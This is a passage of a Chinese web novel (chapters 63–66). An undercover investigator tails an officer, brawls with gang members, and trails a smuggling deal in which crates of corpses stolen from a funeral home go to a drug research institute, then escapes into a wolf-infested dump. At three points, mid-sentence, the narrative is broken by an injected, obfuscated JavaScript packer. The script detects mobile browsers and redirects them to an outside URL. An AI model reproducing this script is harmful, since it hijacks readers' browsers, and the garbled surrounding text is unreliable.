虽然看不见,但燕逸岫敏感察觉到虞瓷的气息骤变,状态显然不对劲。 她的呼吸变得急促,尽管她试图控制住,但还是断断续续颤抖着。 她的指尖也在桌上压得发白。 燕逸岫沉默观察着虞瓷的反应, 她的情绪,有和另外两人一样的错愕悲伤,但又有不同。 是愤怒和恐惧。 63. 一日地痞流氓 燕逸岫略一思索,主动开口打断她们的讨论:“你们朋友出事了,是不是得赶紧过去一趟?那要不今天先到这儿吧?我就不打扰你们了。” 明姐和阿连这会儿确实没有心思再顾及别的事情,便答应下来。 “你们先过去,”虞瓷开始收拾桌上的枪弹,仍然低着头,语气平静,“我换身黑衣服再去和你们碰面,我这橙红色衣服不太合适。” 四人离开射击馆,在门外分道扬镳。 虞瓷往她们的相反方向走了一会,身子一晃拐进出现在视野里的小巷,脱力般靠在巷口墙上,久久出神,又进入了一动不动的僵化状态。 燕逸岫也依旧沉默,陪在她身旁。 直到虞瓷调整好情绪,深吸一口气抬头捏捏山根,燕逸岫才张嘴。 “你和阿彬很要好吗?” 虞瓷闭着眼哑声回答:“算是吧。” 燕逸岫迟疑片刻,最后决定还是讲直白些。 “这件事与彭嵘或炎穆帮有关吗?” “没有。”虞瓷缓慢摇着头回答。 于是燕逸岫不再追问,留出时间空间让她独自调整好状态,其它事情等过两天再处理。 分别后,燕逸岫走在街上,将今天发生的事都汇报到微系统共享情报。 她联系上廖怀霖,请她帮忙查一查阿彬这个人的底细,以及尽可能再挖掘出点虞瓷的隐秘资料。 阿彬去世这件事恐怕有蹊跷。 走到较偏僻的地方后,燕逸岫正打算给温簌发消息,对方就如有心灵感应般先一步打了电话来。 “你在哪儿?打电话会安全吗?” “安全的。”温簌轻声回答。 燕逸岫先向她确认了潜伏情况,得知一切顺利的消息才继续话题。 温簌告诉她,明晚炎穆帮有一场重要交易。 具体是什么东西她不清楚,这些是她偷听到的,那些核心成员说得很隐晦,十分谨慎,哪怕没有外人在场也没多透露半个字。 只说明晚,具体的时间、地点也都没有提到。 “交易对象呢?” “好像是叫老陈还是老程还是什么,哪个字我不确定,头一次听见。” “我会继续监视,如果看到她们出发行动了,掌握到更多线索,我就马上给你发消息提醒。” “好,多加小心。” 挂电话后,燕逸岫站在花圃前调整计划,打算在地下城待到深夜。 如果是重要交易,不可能完全不提前做准备。 晚上在炎穆帮老巢附近蹲守,或许能获得什么信息,方便她明晚行动。 燕逸岫再次联系了廖怀霖查一查炎穆帮老大洪旭最近的动向和接触过的人。 现在离天黑还有段时间,她盘算着什么时候去阿彬家附近探探路比较合适,寻找避人耳目的时机。 得想办法进去查看现场,还有不知道现在运去哪里了的尸体。 没走多久,燕逸岫忽然在人群中瞥见一个有几分熟悉的背影。 那绑成一束的狼尾随着步行在肩胛骨位置小幅度来回扫动。 是身上有可疑甜味的监管局工作人员严睢。 燕逸岫马上改了主意,决定先跟上严睢。 他和另一名同事正在日常巡逻,边闲聊着。 走着走着,严睢猛地转身环顾四周,眼神锐利扫过每一个人的面容。 一切如常,没有发现什么可疑的人物。 “怎么了?” “没事,刚才好像有人在看我,错觉吧。” 燕逸岫躲在阴影处,低着头拨弄刘海,让发尾半遮双眼。 真是敏锐。 她没有刻意隐藏踪迹,但也没有太随便导致闹出动静,对方能发觉被窥视,说明他本身感知力就比一般人更强。 如果以后要对付严睢,必须更谨慎隐蔽才行。 燕逸岫将这一注意点归入头脑资料库中,混进人群继续跟上,兜了几圈来到监管局大厦楼下。 监管局的几栋大楼都是单面镜窗户,从外面根本看不到里头。 窗户全部关得严严实实,不透一丝空气,横竖线条规矩得仿佛不容半点变形和不同。 白班工作已经结束,严睢回来交接工作,换上自己的休闲衣服走出大楼,下班回家休息。 在前往地下城出口的途中,严睢注意到不远处一角有异常动静,立马转身朝那儿走去。 几个流里流气的小子聚在一个小摊前,似乎是在闹事。 走近了就能听清那些帮派混混挤在一个小摊前,嘻嘻哈哈,笑声刺耳,很难听不出笑声里的恶意和嘲讽意味。 严睢对那几人还算熟悉。 于是他加快脚步,厉声喝道:“一个个都干什么呢?” 那几个人,包括摊主都转头看过来。 严睢一边挥动手臂驱赶,眉头紧皱:“要买东西吗?没买的话赶紧走,不要在这里影响别人做生意。” “扰乱秩序,小心我再把你们抓进去蹲两三天当长记性。” 其中一个人上下打量严睢,阴阳怪气顶嘴:“哇,严长官,好敬业啊,下班了还爱管闲事。” “我们又没干嘛,怎么也要挨批。” “还顶嘴?你们这叫没干嘛?怎么的,上次蹲大牢没待够吗?” “一天天的没事干,就知道到处惹事,警告你们,这是最后一次,再让我瞧见你们寻衅滋事,影响她人,就不只是被关两三天禁闭的事了。” “还不快走?” 几个帮派成员满脸不服气,骂骂咧咧晃晃悠悠动了,似乎打算听话离开。 但几人互相看了看,又突然改变主意,抓起摊子上的各种东西,朝地上砸去,朝严睢砸去,边哈哈大笑。 严睢当即翻脸发怒,作势要挽起衣袖去处理,这才发现自己已经换下制服,穿着短袖。 于是他放下手,直接朝他们大步走去。 那些人奋力搞破坏,身影移动位置后,燕逸岫便看清了摊主的模样,是个年轻的女生。 她此时被这突发情况吓傻了,缩着肩愣愣坐在后面,不知如何是好。 那几个帮派成员见严睢冲了过来,潜意识里对执法人员的畏惧开始翻腾,多少有些发毛,动作也迟疑半拍。 但很快他们还是狠下心狠下念头,抓起更多东西朝严睢身上掷。 有一两样东西,因为扔得太用力,飞得更远,好巧不巧砸在了假扮八卦路人的燕逸岫脚边。 易碎品叮叮咣咣碎成无数片,声音清脆刺耳。 严睢担心无辜民众受伤,赶紧循声转头,视线滑动对准了面无表情的燕逸岫。 被发现了。 仅一两秒钟的时间,燕逸岫权衡了不同的选择和后续行动,迅速做出决定。 她眉头一皱,双眼一眯,嘴角一歪,自然而然流露出地痞流氓的凶狠姿态。 “我招谁惹谁了……” 她抬脚甩了甩落在鞋面和裤脚上的碎片,朝那几个帮派成员冲过去,掺和进混乱里。 这第二个突发状况,也在其他人的意料之外。 他们都愣了片刻,再回神后,被波及的短发女生就已经风一般闪现到了眼前。 “你他爹的,敢砸我,找死是不是?” 燕逸岫故意压着嗓音,沉声恶狠狠地挤出这几个字。 紧接着她攥紧拳头挥臂朝那个对她扔东西的人打过去。 拳头狠狠砸在那人脸上,把他打得飞出去,两脚绊来绊去,四仰八叉摔倒在地,脑子嗡嗡,眼睛都发直了。 场面静了两秒,接着爆喝声叫骂声此起彼伏。 其他人见自己兄弟莫名其妙被个陌生人打了,一个个怒不可遏,抄起东西挥起拳头,转移目标集中火力对准了燕逸岫。 燕逸岫冷笑出声,也甩甩胳膊开始回击,以一敌多,丝毫不惧。 “你们全部给我住手!” 严睢的声音更愤怒,额头上青筋暴起,立刻加入战局。 燕逸岫只胡乱揍了两拳,就开启防御模式,边躲边以余光瞄着严睢的动作和位置,预判他的行动。 每当发现严睢想要出手阻拦自己时,她就先一步移动位置躲开,假装打得起劲,不经意间调换位置将帮派成员扭送到他面前。 严睢便只能接力似的先将离自己近的人压制住。 很快,地下城监管局的其她工作人员赶到现场,将闹事者全部按在地上。 见差不多了,燕逸岫就赶紧装出一副没事人的样子,蹲在地上收拾满地杂物,帮摊主捡回东西。 一副什么都没发生不是我打的人我只是在帮忙收拾残局的三好公民形象。 “哎呀,这个打碎了,太可惜了,多漂亮一玩意儿啊。” 燕逸岫啧啧几声,深感惋惜。 严睢眉头仍然没有松开,盯着蹲在地上忙碌的人不放。 半晌,他总算想起这股隐隐约 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13967936|142866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 约的熟悉感是怎么回事了。 前几天巡视时,她们盘查了虞瓷的芯片定位,当时这个人就站在她旁边,很安静,是地上公民。 就是这张清淡模糊的面孔,严睢想起来了。 “你……”严睢咬着这个字拖长音,后面的话却又不知道该说什么。 “我可不是寻衅滋事的,是他们先砸东西,还砸到了我腿上,我以牙还牙而已。” 燕逸岫率先开口把他的话堵回去。 她撩起裤管,露出袜子上方的一截小腿。 上面已经红了一大块,破皮擦伤,渗着一颗颗细小的血珠。 见状,严睢噎住,暂时打消了斥责的念头,转而问她需不需要去医院。 “不用了,不用了。” 燕逸岫满不在乎地摆手:“我没事的,小伤而已。” “还是这位姐姐的摊子更重要,被砸了这么多东西,总该要那些人赔吧?” 她边说着,手上捡东西的动作不停,叮叮咣啷的声音持续在严睢耳边响着,像催眠术萦绕。 于是他的注意力就被分散到这上来,拍拍被拧皱的衣服:“当然,我们当然会处理好。” “那就行,不然这位姐姐也太惨了。” 燕逸岫起身,把完好的东西放回桌面还给她。 女生对她绽开笑容,满脸感激,随后抬手打了几秒手语。 燕逸岫捏着一个平安符凝固不动,这时才注意到她耳朵上夹的耳钉其实是助听器。 燕逸岫转头看向严睢的下巴,疑惑扬眉。 “她对你说谢谢。” “噢噢,不客气的。”燕逸岫又转回去面向她,放慢声音,说完后对她笑着点点头。 严睢仍然板着脸,但语气缓和下来,先对摊主说道:“也不早了,差不多回家去吧,不然你家人会担心的。” “摊子交给我们收拾整理,明天你来监管局一趟核算金额,我们会让闹事的人赔给你的。” 女生笑着颔首,又慢慢地打了一组手语,像是怕说得太快她们看不懂。 燕逸岫不懂手语,便将她的大致动作记住,打算回去查一查是什么意思。 监管局的人将帮派成员押走,之后摊主也离开了,围观人群也散了,只剩清理杂物的工作人员,还有燕逸岫和严睢。 四周气氛恢复祥和。 “但是你刚才……”严睢见事情告一段落了,不忘最初的训诫,又重新捡起来说。 燕逸岫假装没听见,坦荡荡地“无意”打断他的话:“那个女生是聋哑人?以前也会被这样欺负吗?” 严睢抿唇,忍了又忍,懒得跟她计较:“嗯,胡漪生病变成这样,家里穷,只能靠摆摊赚点钱补贴家用,我们平常都会多关注她的摊子,因为时不时会有缺德鬼去骚扰取笑她。” 看在她也算是帮忙抓人而且还受了伤的份上,严睢寻思也就不和她掰扯得了,放她一马。 正准备走,却见她忽然往右一步,靠得更近,透着好奇的目光落在自己衣服上。 燕逸岫又闻到了甜味,很淡很淡,几乎要消散干净,即使是有异能的她分辨起来也有些困难。 所以她凑近去闻,想要分辨出具体味道是不是有之前证人所说的麦芽糖味蜂蜜味之类的。 不明白这是什么情况的严睢顿时紧张,努力绷着严肃的神情:“你在干什么?” 燕逸岫嘴快扯谎:“啊没什么,我只是觉得你身上好香啊。” “……” “……” 话音落下,两人同时陷入沉默。 严睢瞳孔地震。 燕逸岫两眼一闭。 她也没想到,这话说出来怎么显得自己像个变态。 缓过神后,严睢略微局促惊慌地后退两三步,一副唯恐被流氓非礼的模样。 他暗自咬牙,手都不知道该往哪儿放,半天才挤出话来:“胡说八道,拿执法人员开玩笑,别以为现在下班了我就不能把你怎么样。” “唉……随口一说而已,这不犯法吧,严长官?”燕逸岫眼神飘忽,硬着头皮打哈哈,掩饰尴尬。 见她依然是这散漫的态度,严睢更觉恼火,心想能跟虞瓷混在一起的果然都不是什么正经家伙。 明明看着是个文文静静的人,居然会冲动打架,一拳就能把人捶翻,还会说这种流氓话。 “你……”严睢手指都哆嗦了,想抬手指她警告几句,胳膊又僵在半空动不了。 64. 神秘货物 “可能是沾到了哪个小摊小吃的味道吧,当我没说,当我没说,我只是有点饿。” “时间不早了,严长官快回去吃饭吧,不打扰你了。” 见严睢说不出话,燕逸岫就替他结束这场对话,挥挥手打发他走,自己也一步步后退,拉远距离。 严睢脸上青一阵白一阵,最后还是什么都没说出来,扭头离开,狼尾在背后晃动的幅度更大。 燕逸岫目送他走远,也转身往反方向踱步,收敛起客套的假笑。 他身上的甜味,确实像麦芽糖。 估算着距离差不多了,燕逸岫换了条路重新跟上严睢。 这回她有意隐藏起自己的存在,不让对方发现,一路出了地下城,到他所住公寓楼对面。 严睢家也在天泊区。 他回家后就没再出门,吃饭,整理,读书,健身。 燕逸岫稍稍留意了一下,发现他是完全掐着点做事,一秒钟都不拖延。 她也大致观察一遍所能看见的部分,屋内布置干净简单,整齐过头,似乎有点强迫症。 家里几乎都是实用物,没几样装饰品,没有养猫猫狗狗之类的宠物,也没有植物,连棵草都没有。 冷硬,死板,很符合他表现出来的性格特质。 天完全黑下来之后,燕逸岫就返回地下城,来到炎穆帮老巢所在的西区。 这一片多是工厂,夜里荒凉寂静,空气中满是铁锈味和刺鼻的金属气息。 炎穆帮的集合地就在其中一片废弃厂区。 燕逸岫只停留在外围区域,没有踏足其中。 她在一片昏暗中找到核心成员平日聚集的那座工厂,最后围着四周走一圈,找到可以直线角度望进工厂窗户的位置。 燕逸岫隐藏在暗处,盘腿坐下,远远地盯着厂区里的动静。 不清楚具体的交易时间地点和对象,实在是有些棘手,可推测的范围太大,需要更多线索才能缩小范围。 透过窗户,燕逸岫看到了几张曾经在资料上见过的脸,一群人在里面说笑,有的瘫坐着,有的靠在墙上。 洪旭不在里头。 这时燕逸岫收到廖怀霖发来的消息。 炎穆帮首领洪旭这边没有什么异样,倒是他的心腹之一阿仲这两天在和一个叫红鸦的无业游民联系。 她能查到阿仲每隔一段时间就会联系红鸦,似乎是专门派他交接。 “红鸦的真实身份信息能查得到吗?” “刚查完,我把目前能查到的都发给你。” 燕逸岫打开资料浏览一遍。 红鸦姓田,地上公民,无业游民,收入来源不明。 时间宽裕,又可以自由上下,确实是对接的合适人选。 “我记得这个阿仲也是地上公民?” “对。” 正好在这时,阿仲出现在燕逸岫的视野中。 他晃到靠窗的地方站着,嘴里叼着烟,天花板的灯光投下来,照出他寸头脑袋上的一道狰狞伤疤。 接着燕逸岫听到了他打电话的内容。 “准备好了,都准备好了,拉完这一趟,咱们几个去桃源楼搓一顿哈。” 电话那头的声音嚷嚷:“那方哥怎么办?” “方哥,”阿仲故意叹口转了十道八道音调的气,笑道,“那只能等第二天下午了,或者等他有时间再请啦,没办法。” 燕逸岫听着他们的话,若有所思。 第二天傍晚,决定好监视目标和行动计划的燕逸岫再次来到地下城。 她将目光对准了阿仲。 阿仲和朋友喝酒吃饭磨到晚上十点,才带上两个手下乘车离开地下城,兜兜转转来到一座桥边。 桥边停着一辆大货车,再往前站着一个人。 燕逸岫认出在桥边吹风的人正是红鸦。 他们没有交流,阿仲和手下径直开门上车,启动大货车开走了,干脆利落,全程不超过一分钟。 燕逸岫换了辆系统安排的小车,慢悠悠隔着段距离跟上。 最后大货车开进了一栋废弃大楼地下车库。 虽然这里的监控应该早就报废了,但下车后燕逸岫还是避着镜头位置潜入。 因为房体开裂,成为危楼,所有住户都搬走另寻住处了,只剩这栋残破骨架支撑立于风雨中。 人去楼空的地方,最适合做见不得人的勾当。 要冒的风险只有房子突然塌了可能会倒霉死在这里。 如今幽暗的空旷地下车库里只有阿仲的这辆大货车孤零零停在角落处。 四周没有监控,对燕逸岫来说行动也自由方便不少。 她听声判断位置,溜到背对出入口的承重柱后躲起来,把嵌着微型摄像头的小石子放在墙角,随后操控微系统将镜头对准阿仲那边。 还没进地下车库时燕逸岫就闻到了一阵强烈的气味,似乎是从大货车里流淌出来。 是种说不上来的刺鼻气味,混合着类似于空气清新剂的味道。 总之有些难闻,鼻子都因此略略刺痛起来。 在此之前,她从没闻过这种气味,所以无法判断里面装了什么。 耐心蹲守了几分钟后,终于等到第二辆车进入车库。 阿仲也听到了声音,立刻迎上去。 燕逸岫从微系统监控中看到一个墨镜男率先从小车里出来和阿仲握手,低声说着话。 “数量够吗?最近风声有点紧。” “够的,绝对够的,我们都是按要求来,确实风声紧,我们也是谨慎起见所以才延迟了几天收齐。” “那就行,质量有保证吗?” “当然,这些可都是千挑万选出来的,放一万个心,绝对不会让您失望的,咱们也不是第一回交易了对吧。” “嗯,车门打开我点一下数量。” “好嘞。” 阿仲来到车后,解锁启动车门打开,露出了里面摞得整整齐齐的十几二十口箱子。 门一打开,那股气味马上涌出来弥漫四周。 那几人离得近,闻得更清楚,也纷纷挥挥空气,捂鼻子咳嗽。 墨镜男迅速清点一遍就侧身走回车前头,避开这股味道。 “行了,相信你们,今天我赶时间,车门关上拉走吧。” “不过你们要是敢’杀熟’,我们可不会顾念什么交情,到时候……” 阿仲语气笃定,给对方吃颗定心丸:“当然当然,绝不会出问题的。” 墨镜男又打开通讯说了几句话:“这边没有问题,你们那儿也可以交出去了。” 气味锥子似的扎人,他们都没有久留,墨镜男和一个手下进入大货车前座,另一个手下则回小车。 阿仲按下开关也三步并作两步跟上去,让后备箱门自己关闭。 燕逸岫略一思索,决定冒个险随车跟踪。 躲进车里尾随,他们更不容易发现自己被监视,能正常地进行交易到达终点。 至于最后如何脱身,独自行动的燕逸岫并不担心,方法总比困难多。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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戴上眼镜后她再次对准了箱子里的东西,转动镜腿调节钮切换到夜视灯功能。 视线骤然变得明亮清晰,反射出的光有些刺眼。 燕逸岫一瞬间近距离看清了里头的东西,吓得缩回手后退一步,后背抵在身后的那摞箱子上,心跳急促。 塑料袋里面的是一张白花花的脸。 “对了,那边什么时候过去?是谁负责?” “过几天吧,等消息,应该是庞姐去。”阿仲回答。 “那我就可以歇歇喽——” 前头沙哑粗粝的咳嗽声说话声擦进耳朵里,让燕逸岫猛地回过神。 她暗自深呼吸让自己镇定下来,再次来到箱子前,低头仔仔细细看了一圈。 之后,她凝神片刻,开始挨个打开最上层的箱子检查,确认里头的所有货物。 车子又开始摇晃,颠簸频率逐渐变高,不知道驶往哪儿去了,路面越来越崎岖不平。 每个箱子里的东西也随着车身晃动,细小的碰撞闷响此起彼伏。 燕逸岫直起腰,合上最后一个箱子,思绪也起伏翻转,脊背一阵阵发凉。 箱子里的是尸体。 箱子里全是尸体。 燕逸岫蹲下来开始打字汇报情况。 她刚输入了几个字,就差点因为惯性扑出去,赶紧抬手扶在其中一个箱子上。 大货车突然急刹,停了下来。 65. 虎穴狼窝 “吓我一大跳。” 阿仲的声音传来:“差点就撞上了,怎么回事?” “估计它们闻到肉的气味了,所以扑过来想要捕猎。” 他们说话的声音里夹杂着拍打车身的闷响,还有利爪刮蹭的尖锐摩擦声,听得人浑身难受,起了一层层鸡皮疙瘩。 后车厢里的燕逸岫松了一口气,还以为是她开启通讯被发现了。 原本这阵动静集中在前方,但很快车厢门也被重重拍打几下,不知道是闻到了燕逸岫的活人气还是满车的死肉味。 燕逸岫保持着半跪在地手撑着箱子的姿势,一动不动,嘴角和后背都不由地绷紧绷直,暗自捏了把冷汗。 砰。 砰砰。 拍打声,悠长狼嚎,还有野狼试图爬上车破门的扑腾声在四周萦绕。 车里的五个活人此时就如被关在囚笼里的待宰猎物。 “但这也太多了吧,之前送货也没见这么多野狼啊。”阿仲嘶声发出疑问。 “因为食物变少了。”墨镜男终于开口说了上车后的第一句话。 “食物为什么会变少?山里不是有很多……”阿仲脱口而出,下一刻忽然意识到什么,连忙住嘴,不再继续。 “这怎么办?” “有什么怎么办的,碾过去就好了,管它们做什么。”墨镜男的手下明显有些不耐烦了。 “不行,”墨镜男立刻否定,“万一车轮留下血迹,路线可能会被追踪出来。” “慢慢启动,不要弄伤它们。真是的,跟在我身边多久了,光是谨慎这一点就死活学不明白!” “对不起……” 车子被切换到手动模式,一点一点往前挪,逼开挡在车头的几只狼后,就猛地加速冲出去,甩开了狗皮膏药般扒在车上的野兽,继续前行。 之后的山路更陡,连着几个起伏剧烈的颠簸,燕映秀几乎被弹飞到半空中,头都快晕了。 前头四人没有出声,不知道是因为突遇野兽攻击而没了聊天兴致,还是因为刚才阿仲提到了不该提的字眼。 诡异的沉默维持一两分钟后,阿仲的手下又开始拉扯些有的没的,重新让气氛变得软和不少。 不久,断断续续的颠簸消失了,进入平坦光滑的道路,因此车速也越来越快。 燕逸岫已经简略地把情况报告给了姜韫,这会儿正在用夜视镜录下尸体的面容传回去,供她们查验身份。 现在她总算明白这股怪味是怎么回事了。 是福尔马林的刺鼻呛人味,尸体的气味,还有空气清新剂混合在一起。 这些尸体是从殡仪馆里被拉出来的。 燕逸岫很快就想起之前自己去寻找梁羲瑞的记忆片段。 梁羲瑞那会儿刚参加完朋友的葬礼,提到她朋友的父母强行闯入殡仪馆火化间寻找女儿尸体的事情。 就目前状况看来,那时候殡仪馆的负责人可能确实是打算蒙混过关,暗地里留下尸体去做别的事情。 盗尸传言原来不是空穴来风。 只不过她没想到居然和炎穆帮扯上关系了。 燕逸岫揉揉耳朵。 耳朵有略微的压迫感和胀感,她猜测一行人应该是进入了山中隧道。 因为挪动箱子容易被听到声音,她不敢冒险,所以只录了堆在最上层的箱子里的尸体面容,将目前能得到的信息全部传回微系统。 接着她开始准备停车后的行动。 算算时间已经过了大半个小时,他们随时都有可能到达目的地停车。 正如她所料,十分钟后大货车停下来了。 关门的声音和拖沓的脚步在空旷的空间里回荡着。 “准备卸货吧。” 燕逸岫仔细分辨着外头的动静,很快就听到了小车轮的滚动声。 是搬运卸货的劳力机器人。 燕逸岫更放心了。 后车厢门打开,左右各站一边的两个机器人开始抓取箱子放到另一辆车上,一个接一个,有条不紊。 砰的一声,又一个箱子被转移放下。 墨镜男望着上方的箱子,若有所思:“这口箱子好像比较重。” 阿仲连忙说道:“是啊,里头有一个偏胖的,您之前说过缺这种体型的人,所以我格外留意,跑遍了场,好不容易搜罗到一个。” “难为你了,还挺有心的。”墨镜男对此感到满意,声音渗出了点笑。 “哪里哪里,顾客是上帝,这都是我们该做的。” 不多时,全部箱子又整整齐齐摆在了另一架车上,仍然不疾不徐散发着怪味。 最后检查一遍后备箱,确认空荡荡的没有漏掉什么,于是墨镜男挥了挥手。 “你们也可以回去了,下次有需要再找你们。” “好嘞好嘞,那我们就先撤了。” 阿仲最后热络地客套几句,带了手下上车,将大货车开回去了。 “这排五个箱子运到楼上,剩下十五个箱子先放回地下冷冻库去保存着。” “你去通知老师们货到了,项目可以继续了。” “是。” 燕逸岫碰巧藏在被指定的五个箱子之中,于是乘电梯来到顶楼,进入备货储藏室。 五个箱子依次被再次从车里搬到推车上。 四周静了下来,机器人完成整理工作后就离开了。 燕逸岫在黑暗中眨了眨眼,目光来回转动两次。 确定没危险后,她小心翼翼地把压在身上的尸体挪开翻到一边去,活动活动腿脚。 这下燕逸岫身上也沾满了那股怪味。 刚才这一遭下来,她最怕的不是被外头的人发现,而是近在咫尺的尸体。 和尸体共处一箱,着实是令人发毛,这次行动简直算得上是心理工伤。 万一尸体忽然睁眼忽然动了,那她也不用离开了,直接吓死变成另一具尸体,正好成了炎穆帮交易的买二十赠一赠品。 所以燕逸岫选了一个看着比较面善的女生尸体,才觉得心里稍稍宽慰些。 她心里默默道着歉躺进去和冷冰冰的她挤在一起。 都是女孩子,一定不会害她的。 现在行动自由后燕逸岫让系统生成一份所在地的立体地形图以及监控分布图供她参考。 她躺在尸体旁边,仔细研究着监控的角度还有空间布局,寻找安全的逃生路线方法。 心里有了底后,她再次呼唤系统。 “这间屋子的监控正常运行着,对吧?” “没错。” 燕逸岫想了想,说道:“给我三秒的时间。” 只要系统把总监控室的设备屏蔽致使其短暂故障,三秒,就足够她离开这间屋子,进行下一步行动。 在她的盘算中,这个方法只能用两次,每次时间不能超过三秒,超过了的话就会被怀疑是人为因素导致。 她躲在箱子里耳听八方,听着楼上楼下还有同一层的脚步声估算。 人不算多也不算少。 如果要顺便探查这里的底细,还是得有个假身份才行,今天毫无准备恐怕没办法,先离开才是最重要的。 合适的时机来得很快。燕逸岫听到同一层的脚步声都去了很远的地方,附近则没有人走动。 于是她让系统准备行动,随机破坏整栋楼其中的几个监控。 燕逸岫默念倒数,与系统同步。 三。 二。 一。 倒数结束,燕逸岫飞快打开箱子跳出来,反手将盖子合上,顺势做支撑往外跳。 她借势轻盈落地,撒开大步子奔向大门。 拉开门风一般蹿出去后,再迅速又小心地将门关上。 合上门的那一刻,监控恢复正常。 燕逸岫这才将憋着的一道气呼出来,又猛吸一口,冰冷清凉的空气灌入肺部,让她神色稍稍放松下来。 但这只是第一步,后面的更难。 监控死角不多,也没法那么巧能连成一条完整的逃跑路线,如果能套个身份就方便多了。 在这种情况下,燕逸岫不免羡慕反派有视觉替换这种方便至极的异能。 这一间屋子偏走廊尽头,靠近无监控的楼梯道,燕逸岫就贴着墙迅速小跑过去。 趁着还有时间,她来到窗边往外看,观察大地形。 这栋楼位于偏僻郊区,再远些是零零散散的旧居民楼,深夜里还有一格窗子亮着昏黄的灯光。 燕逸岫觉得自己该练练攀岩吊索之类的技能,下次再遇到这种情况,扣个钩子在窗台,顺绳子从楼外滑下去就能快速逃生了,不用费那么多心思。 谨慎起见,燕逸岫没有开启定位,而是戴上夜视镜录下周遭环境,记住特别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13997664|142866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的建筑及地形景物。 再一低头,就能看到楼下有辆大货车,车厢里的黑塑料袋堆成小山。 一个机器人拖着两个大垃圾桶来到大货车后方,抓起垃圾桶将里头的几个大塑料袋倒进去。 燕逸岫眼睛一亮。 她轻轻打开窗,探头出去闻。 接着她来到楼梯间仔细嗅,寻找相同的气味。 楼下就有,每层都有,味道浓重。 楼下的立体构造图在她脑海中展开。 燕逸岫等到没有近距离的脚步声了,才轻手轻脚下楼,借着墙壁遮挡往走廊看。 远处有几个穿白大褂的人进进出出,正忙碌着。 燕逸岫略眯起眼,视线不断推远放大,直到白大褂胸前绣的图案和字清晰映入眼帘。 标志图案是燕逸岫熟悉的,字更是熟悉。 天祐。 这里属于天祐药物研究院。 现在不是杵在原地惊讶的时候,燕逸岫获得线索后就立刻挥开思绪专心处理眼下最要紧的事。 与外头垃圾袋有着相似气味的东西就在斜对面挂着“废料集中室”牌子的房间里,屋里没人没监控,但横穿过去势必会被走廊监控捕捉到。 燕逸岫考虑起要不要用掉最后一次屏蔽监控的机会,还是留着以防万一。 来往的人已经都进入室内,走廊短暂地变得空荡寂静。 燕逸岫当机立断让系统开启两秒屏蔽,不再浪费时间考虑太多,一个冲刺闯进废料集中室里。 不大的屋中摆着几个大垃圾桶,按固体和液体分类。 燕逸岫猜得出里面是什么,尽量不去在意。 好在楼里冷气开得很足,现在只有轻微的腐臭味。 不管是什么,能帮她逃跑就是好东西。 燕逸岫打开其中一个垃圾桶,掏出里面两大袋沉甸甸的黑塑料袋,套了个新的大垃圾袋在桶底,爬进去缩着躲好,再将原先的两袋垃圾压在自己头上,遮得严严实实。 之后她便安静下来,将呼吸控制到微乎其微,如尸体似的一动不动。 等了大概十分钟,燕逸岫听到了滚轮声靠近。 接着自己所在的垃圾桶就被提起来放上推车带走,一路顺利穿过走廊,乘电梯直抵一楼,出了大门来到大货车边,腾空翻转坠落。 燕逸岫紧紧揪住塑料袋封口,生怕自己会从里头滑出来。 下一刻她就掉在塑料袋堆上,咕噜噜从高处滚落,最后重重砸在坚硬的车厢侧壁。 她燕逸岫无声抽气,克制住本能反应不动弹,脑袋和肩膀火辣辣地疼。 离开大楼一段距离后,她将定位发送给队友。 头晕眼花中,燕逸岫感觉熟悉的颠簸再次出现,车子似乎又去了山路,转了无数弯后停下,开始倾倒垃圾。 所幸燕逸岫位置在最侧边,被倒出去后不会被压在最底下难以脱身。 等到大车驶离,燕逸岫憋着气扯走塑料袋,用力推开掩埋住自己的东西,终于从塑料袋堆里钻出来了。 她的肩膀刚松下来,准备呼出的气又硬生生卡在了喉咙里。 她僵在原地一动不动,只有眼珠子一点点从左移向右,将眼前景象看了个仔细,眼皮不受控制地跳个不停。 她心想,这真是才离虎穴又入狼窝。 真的狼窝。 一双双阴阴鬼火般的绿眸在黑暗中亮着,又闪烁着凶狠的红光。 二三十匹蓬毛枯燥的野狼已经将燕逸岫团团包围。 健康活人的气息对于饥肠辘辘的野兽来说是无法抗拒的吸引力,更何况她头上还受伤流血了。 燕逸岫收敛气息凝固于原地。 风穿密林,万叶簌簌作响,她半跪在树间空地上,孤零零的,小小的,像一片被风扯离枝桠的瘦薄落叶。 手边脚边都是以腐肉为肥料而生长出的细小植株,从零零碎碎的白骨间隙中钻出来,从燕逸岫指缝中穿出来,和她的短发一起随风飘动。 这群饿狼也在安静观察形势,全都蓄势待发,锐利目光死死锁定猎物。 粗砺的喘气从四面八方涌入耳中,燕逸岫几乎能感受到那股夹杂着野生腥臭的饿极燥热拂过脸颊。 涎水从它们的尖牙里一滴滴淌下来砸进干燥土壤里,很低的声音,又震耳欲聋。 它们在等待时机一齐扑上去。 66. 咬了狼要打狂犬疫苗吗 对不住了,好心人,借你骨头一用。 